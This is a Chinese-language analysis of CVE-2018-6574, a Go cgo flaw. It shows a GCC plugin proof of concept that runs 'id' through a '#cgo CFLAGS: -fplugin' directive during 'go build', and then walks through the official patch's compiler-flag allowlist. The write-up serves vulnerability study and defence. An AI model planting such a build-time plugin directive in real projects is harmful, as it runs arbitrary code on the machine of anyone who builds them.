CVE-2018-6574(Go语言任意代码执行漏洞)分析

Table of Contents

1 漏洞分析

测试环境:

系统:CentOS 7.4
GCC:4.8.5
Go:1.9.3,下载地址:https://dl.google.com/go/go1.9.3.linux-386.tar.gz

Go语言支持内嵌C语言代码的功能,若是将C代码放在注释中,Go编译时会调用cgo来处理C代码。举一个例子:

// filename: test.go

package main

/*
#include <stdio.h>

void hello_world(){
    printf("hello world\n");
}
*/
import "C"

func main() {
    C.hello_world()
}

编译、执行如下:

[lu4nx@localhost Downloads]$ go build test.go
[lu4nx@localhost Downloads]$ ./test
hello world

对于cgo,支持指定GCC的参数,详细可见cgo的文档:https://golang.org/cmd/cgo/

但是cgo没有对参数进行任何限制,本次漏洞利用,就用到了GCC的插件功能,指定-fplugin参数可在编译过程中指定加载其他.so文件,因此达到了执行任意代码的目的。

首先,我们先写一个动态链接库来做GCC的插件:

/*
compile: gcc -shared -o poc.so -fPIC poc.c
*/

#include <stdlib.h>

int plugin_is_GPL_compatible = 1;

void plugin_init() {
    system("id");
}

然后编译:

$ gcc -shared -o poc.so -fPIC poc.c

接修改test.go,并在注释里加上编译选项:

#cgo linux CFLAGS: -fplugin=/home/lu4nx/Downloads/poc.so

修改之后的完整代码如下:

// filename: test.go

package main

/*
#cgo linux CFLAGS: -fplugin=/home/lu4nx/Downloads/poc.so
#include <stdio.h>

void hello_world(){
    printf("hello world\n");
}
*/
import "C"

func main() {
    C.hello_world()
}

最后编译Go代码:

[lu4nx@localhost Downloads]$ go build test.go
# command-line-arguments
uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# command-line-arguments
uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# command-line-arguments
uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

可见成功加载了之前编译的动态链接库,并执行了id命令。

2 官方修复补丁

修复公告见:https://github.com/golang/go/issues/23672

以1.9.4补丁为例,主要在src/cmd/go/internal/work/security.go增加了对编译选项的限制,只允许使用部分编译选项:

var validCompilerFlags = []*regexp.Regexp{
	re(`-D([A-Za-z_].*)`),
	re(`-I([^@\-].*)`),
	re(`-O`),
	re(`-O([^@\-].*)`),
	re(`-W`),
	re(`-W([^@,]+)`), // -Wall but not -Wa,-foo.
	re(`-f(no-)?objc-arc`),
	re(`-f(no-)?omit-frame-pointer`),
	re(`-f(no-)?(pic|PIC|pie|PIE)`),
	re(`-f(no-)?split-stack`),
	re(`-f(no-)?stack-(.+)`),
	re(`-f(no-)?strict-aliasing`),
	re(`-fsanitize=(.+)`),
	re(`-g([^@\-].*)?`),
	re(`-m(arch|cpu|fpu|tune)=([^@\-].*)`),
	re(`-m(no-)?stack-(.+)`),
	re(`-mmacosx-(.+)`),
	re(`-mnop-fun-dllimport`),
	re(`-pthread`),
	re(`-std=([^@\-].*)`),
	re(`-x([^@\-].*)`),
}

checkCompilerFlags函数用来验证编译选项,它会把定义在validCompilerFlags里的规则最终传递到checkFlags函数来验证。

checkFlags会根据环境变量定义的规则以及validCompilerFlags定义的规则来判断编译选项的合法性。两个函数实现如下:

func checkCompilerFlags(name, source string, list []string) error {
	return checkFlags(name, source, list, validCompilerFlags, validCompilerFlagsWithNextArg)
}

func checkFlags(name, source string, list []string, valid []*regexp.Regexp, validNext []string) error {
	var (
		allow    *regexp.Regexp
		disallow *regexp.Regexp
	)

	// 从环境变量中获取允许的编译选项
	if env := os.Getenv("CGO_" + name + "_ALLOW"); env != "" {
		r, err := regexp.Compile(env)
		if err != nil {
			return fmt.Errorf("parsing $CGO_%s_ALLOW: %v", name, err)
		}
		allow = r
	}

	// 从环境变量中获取禁止使用的编译选项
	if env := os.Getenv("CGO_" + name + "_DISALLOW"); env != "" {
		r, err := regexp.Compile(env)
		if err != nil {
			return fmt.Errorf("parsing $CGO_%s_DISALLOW: %v", name, err)
		}
		disallow = r
	}

Args:
	for i := 0; i < len(list); i++ {
		arg := list[i]
		// 检查环境变量指定的黑名单
		if disallow != nil && disallow.FindString(arg) == arg {
			goto Bad
		}
		// 检查环境变量指定的白名单
		if allow != nil && allow.FindString(arg) == arg {
			continue Args
		}
		// 后面就是检查Go默认允许的编译选项了
		for _, re := range valid {
			if re.FindString(arg) == arg {
				continue Args
			}
		}
		for _, x := range validNext {
			if arg == x {
				if i+1 < len(list) && load.SafeArg(list[i+1]) {
					i++
					continue Args
				}
				if i+1 < len(list) {
					return fmt.Errorf("invalid flag in %s: %s %s", source, arg, list[i+1])
				}
				return fmt.Errorf("invalid flag in %s: %s without argument", source, arg)
			}
		}
	Bad:
		return fmt.Errorf("invalid flag in %s: %s", source, arg)
	}
	return nil
}

3 参考链接